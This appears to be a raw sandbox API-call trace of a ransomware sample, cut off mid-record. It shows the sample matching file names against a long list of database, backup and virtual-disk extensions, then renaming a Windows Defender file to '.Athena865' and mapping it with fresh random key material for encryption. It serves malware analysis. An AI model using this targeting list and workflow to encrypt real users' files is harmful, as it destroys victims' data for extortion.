1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ids.txt") returned 1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ntuser.dat") returned -1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="perflogs") returned -1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="MSBuild") returned -1 [0090.449] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0090.449] lstrcpyW (in: lpString1=0x241e898, lpString2="MpAsDesc.dll.mui" | out: lpString1="MpAsDesc.dll.mui") returned="MpAsDesc.dll.mui" [0090.449] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0090.449] lstrlenW (lpString="Athena865") returned 9 [0090.449] lstrcmpiW (lpString1="c.dll.mui", lpString2="Athena865") returned 1 [0090.449] lstrlenW (lpString=".dll") returned 4 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".dll") returned 1 [0090.449] lstrlenW (lpString=".lnk") returned 4 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".lnk") returned 1 [0090.450] lstrlenW (lpString=".ini") returned 4 [0090.450] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".ini") returned 1 [0090.450] lstrlenW (lpString=".sys") returned 4 [0090.450] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".sys") returned 1 [0090.450] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0090.450] lstrlenW (lpString="bak") returned 3 [0090.450] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.450] lstrlenW (lpString="ba_") returned 3 [0090.450] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.450] lstrlenW (lpString="dbb") returned 3 [0090.450] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.450] lstrlenW (lpString="vmdk") returned 4 [0090.450] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.450] lstrlenW (lpString="rar") returned 3 [0090.450] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.450] lstrlenW (lpString="zip") returned 3 [0090.450] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.450] lstrlenW (lpString="tgz") returned 3 [0090.450] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.450] lstrlenW (lpString="vbox") returned 4 [0090.450] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.450] lstrlenW (lpString="vdi") returned 3 [0090.450] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.450] lstrlenW (lpString="vhd") returned 3 [0090.450] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.450] lstrlenW (lpString="vhdx") returned 4 [0090.450] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.450] lstrlenW (lpString="avhd") returned 4 [0090.450] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.450] lstrlenW (lpString="db") returned 2 [0090.450] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.451] lstrlenW (lpString="db2") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.451] lstrlenW (lpString="db3") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.451] lstrlenW (lpString="dbf") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.451] lstrlenW (lpString="mdf") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.451] lstrlenW (lpString="mdb") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.451] lstrlenW (lpString="sql") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.451] lstrlenW (lpString="sqlite") returned 6 [0090.451] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.451] lstrlenW (lpString="sqlite3") returned 7 [0090.451] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.451] lstrlenW (lpString="sqlitedb") returned 8 [0090.451] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.451] lstrlenW (lpString="xml") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.451] lstrlenW (lpString="$er") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.451] lstrlenW (lpString="4dd") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.451] lstrlenW (lpString="4dl") returned 3 [0090.451] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.451] lstrlenW (lpString="^^^") returned 3 [0090.452] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.452] lstrlenW (lpString="abs") returned 3 [0090.452] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.452] lstrlenW (lpString="abx") returned 3 [0090.452] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.452] lstrlenW (lpString="accdb") returned 5 [0090.452] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.452] lstrlenW (lpString="accdc") returned 5 [0090.452] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.452] lstrlenW (lpString="accde") returned 5 [0090.452] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.452] lstrlenW (lpString="accdr") returned 5 [0090.452] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.452] lstrlenW (lpString="accdt") returned 5 [0090.452] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.452] lstrlenW (lpString="accdw") returned 5 [0090.452] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.452] lstrlenW (lpString="accft") returned 5 [0090.452] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.452] lstrlenW (lpString="adb") returned 3 [0090.452] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.452] lstrlenW (lpString="adb") returned 3 [0090.452] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.452] lstrlenW (lpString="ade") returned 3 [0090.452] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.452] lstrlenW (lpString="adf") returned 3 [0090.452] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.452] lstrlenW (lpString="adn") returned 3 [0090.452] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.452] lstrlenW (lpString="adp") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.453] lstrlenW (lpString="alf") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.453] lstrlenW (lpString="ask") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.453] lstrlenW (lpString="btr") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.453] lstrlenW (lpString="cat") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.453] lstrlenW (lpString="cdb") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.453] lstrlenW (lpString="ckp") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.453] lstrlenW (lpString="cma") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.453] lstrlenW (lpString="cpd") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.453] lstrlenW (lpString="dacpac") returned 6 [0090.453] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.453] lstrlenW (lpString="dad") returned 3 [0090.453] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.453] lstrlenW (lpString="dadiagrams") returned 10 [0090.453] lstrcmpiW (lpString1="sc.dll.mui", lpString2="dadiagrams") returned 1 [0090.453] lstrlenW (lpString="daschema") returned 8 [0090.453] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.453] lstrlenW (lpString="db-journal") returned 10 [0090.453] lstrcmpiW (lpString1="sc.dll.mui", lpString2="db-journal") returned 1 [0090.453] lstrlenW (lpString="db-shm") returned 6 [0090.453] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.453] lstrlenW (lpString="db-wal") returned 6 [0090.453] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.453] lstrlenW (lpString="dbc") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.454] lstrlenW (lpString="dbs") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.454] lstrlenW (lpString="dbt") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.454] lstrlenW (lpString="dbv") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.454] lstrlenW (lpString="dbx") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.454] lstrlenW (lpString="dcb") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.454] lstrlenW (lpString="dct") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0090.454] lstrlenW (lpString="dcx") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0090.454] lstrlenW (lpString="ddl") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0090.454] lstrlenW (lpString="dlis") returned 4 [0090.454] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0090.454] lstrlenW (lpString="dp1") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0090.454] lstrlenW (lpString="dqy") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0090.454] lstrlenW (lpString="dsk") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0090.454] lstrlenW (lpString="dsn") returned 3 [0090.454] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0090.454] lstrlenW (lpString="dtsx") returned 4 [0090.454] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0090.455] lstrlenW (lpString="dxl") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0090.455] lstrlenW (lpString="eco") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0090.455] lstrlenW (lpString="ecx") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0090.455] lstrlenW (lpString="edb") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0090.455] lstrlenW (lpString="epim") returned 4 [0090.455] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0090.455] lstrlenW (lpString="fcd") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0090.455] lstrlenW (lpString="fdb") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0090.455] lstrlenW (lpString="fic") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0090.455] lstrlenW (lpString="flexolibrary") returned 12 [0090.455] lstrcmpiW (lpString1="Desc.dll.mui", lpString2="flexolibrary") returned -1 [0090.455] lstrlenW (lpString="fm5") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0090.455] lstrlenW (lpString="fmp") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0090.455] lstrlenW (lpString="fmp12") returned 5 [0090.455] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0090.455] lstrlenW (lpString="fmpsl") returned 5 [0090.455] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0090.455] lstrlenW (lpString="fol") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0090.455] lstrlenW (lpString="fp3") returned 3 [0090.455] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0090.456] lstrlenW (lpString="fp4") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0090.456] lstrlenW (lpString="fp5") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0090.456] lstrlenW (lpString="fp7") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0090.456] lstrlenW (lpString="fpt") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0090.456] lstrlenW (lpString="frm") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0090.456] lstrlenW (lpString="gdb") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.456] lstrlenW (lpString="gdb") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0090.456] lstrlenW (lpString="grdb") returned 4 [0090.456] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0090.456] lstrlenW (lpString="gwi") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0090.456] lstrlenW (lpString="hdb") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0090.456] lstrlenW (lpString="his") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0090.456] lstrlenW (lpString="ib") returned 2 [0090.456] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0090.456] lstrlenW (lpString="idb") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0090.456] lstrlenW (lpString="ihx") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0090.456] lstrlenW (lpString="itdb") returned 4 [0090.456] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0090.456] lstrlenW (lpString="itw") returned 3 [0090.456] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0090.457] lstrlenW (lpString="jet") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0090.457] lstrlenW (lpString="jtx") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0090.457] lstrlenW (lpString="kdb") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0090.457] lstrlenW (lpString="kexi") returned 4 [0090.457] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0090.457] lstrlenW (lpString="kexic") returned 5 [0090.457] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0090.457] lstrlenW (lpString="kexis") returned 5 [0090.457] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0090.457] lstrlenW (lpString="lgc") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0090.457] lstrlenW (lpString="lwx") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0090.457] lstrlenW (lpString="maf") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0090.457] lstrlenW (lpString="maq") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0090.457] lstrlenW (lpString="mar") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0090.457] lstrlenW (lpString="marshal") returned 7 [0090.457] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0090.457] lstrlenW (lpString="mas") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0090.457] lstrlenW (lpString="mav") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0090.457] lstrlenW (lpString="maw") returned 3 [0090.457] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0090.457] lstrlenW (lpString="mdbhtml") returned 7 [0090.457] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0090.458] lstrlenW (lpString="mdn") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0090.458] lstrlenW (lpString="mdt") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0090.458] lstrlenW (lpString="mfd") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0090.458] lstrlenW (lpString="mpd") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0090.458] lstrlenW (lpString="mrg") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0090.458] lstrlenW (lpString="mud") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0090.458] lstrlenW (lpString="mwb") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0090.458] lstrlenW (lpString="myd") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0090.458] lstrlenW (lpString="ndf") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0090.458] lstrlenW (lpString="nnt") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0090.458] lstrlenW (lpString="nrmlib") returned 6 [0090.458] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0090.458] lstrlenW (lpString="ns2") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0090.458] lstrlenW (lpString="ns3") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0090.458] lstrlenW (lpString="ns4") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0090.458] lstrlenW (lpString="nsf") returned 3 [0090.458] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0090.458] lstrlenW (lpString="nv") returned 2 [0090.459] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0090.459] lstrlenW (lpString="nv2") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0090.459] lstrlenW (lpString="nwdb") returned 4 [0090.459] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0090.459] lstrlenW (lpString="nyf") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0090.459] lstrlenW (lpString="odb") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.459] lstrlenW (lpString="odb") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0090.459] lstrlenW (lpString="oqy") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0090.459] lstrlenW (lpString="ora") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0090.459] lstrlenW (lpString="orx") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0090.459] lstrlenW (lpString="owc") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0090.459] lstrlenW (lpString="p96") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0090.459] lstrlenW (lpString="p97") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0090.459] lstrlenW (lpString="pan") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0090.459] lstrlenW (lpString="pdb") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0090.459] lstrlenW (lpString="pdm") returned 3 [0090.459] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0090.459] lstrlenW (lpString="pnz") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0090.460] lstrlenW (lpString="qry") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0090.460] lstrlenW (lpString="qvd") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0090.460] lstrlenW (lpString="rbf") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0090.460] lstrlenW (lpString="rctd") returned 4 [0090.460] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0090.460] lstrlenW (lpString="rod") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0090.460] lstrlenW (lpString="rodx") returned 4 [0090.460] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0090.460] lstrlenW (lpString="rpd") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0090.460] lstrlenW (lpString="rsd") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0090.460] lstrlenW (lpString="sas7bdat") returned 8 [0090.460] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0090.460] lstrlenW (lpString="sbf") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0090.460] lstrlenW (lpString="scx") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0090.460] lstrlenW (lpString="sdb") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0090.460] lstrlenW (lpString="sdc") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0090.460] lstrlenW (lpString="sdf") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0090.460] lstrlenW (lpString="sis") returned 3 [0090.460] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0090.461] lstrlenW (lpString="spq") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0090.461] lstrlenW (lpString="te") returned 2 [0090.461] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0090.461] lstrlenW (lpString="teacher") returned 7 [0090.461] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0090.461] lstrlenW (lpString="tmd") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0090.461] lstrlenW (lpString="tps") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0090.461] lstrlenW (lpString="trc") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.461] lstrlenW (lpString="trc") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0090.461] lstrlenW (lpString="trm") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0090.461] lstrlenW (lpString="udb") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0090.461] lstrlenW (lpString="udl") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0090.461] lstrlenW (lpString="usr") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0090.461] lstrlenW (lpString="v12") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0090.461] lstrlenW (lpString="vis") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0090.461] lstrlenW (lpString="vpd") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0090.461] lstrlenW (lpString="vvv") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0090.461] lstrlenW (lpString="wdb") returned 3 [0090.461] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0090.462] lstrlenW (lpString="wmdb") returned 4 [0090.462] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0090.462] lstrlenW (lpString="wrk") returned 3 [0090.462] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0090.462] lstrlenW (lpString="xdb") returned 3 [0090.462] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0090.462] lstrlenW (lpString="xld") returned 3 [0090.462] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0090.462] lstrlenW (lpString="xmlff") returned 5 [0090.462] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0090.462] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui.Athena865") returned 66 [0090.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\mpasdesc.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui.Athena865" (normalized: "c:\\program files\\windows defender\\en-us\\mpasdesc.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.463] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\MpAsDesc.dll.mui.Athena865" (normalized: "c:\\program files\\windows defender\\en-us\\mpasdesc.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.463] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35328) returned 1 [0090.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.463] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.464] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.464] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.464] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d00, lpName=0x0) returned 0x154 [0090.466] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d00) returned 0x100000 [0090.468] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.469] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.469] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.470] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.470] CloseHandle (hObject=0x154) returned 1 [0090.470] CloseHandle (hObject=0x17c) returned 1 [0090.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.470] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, 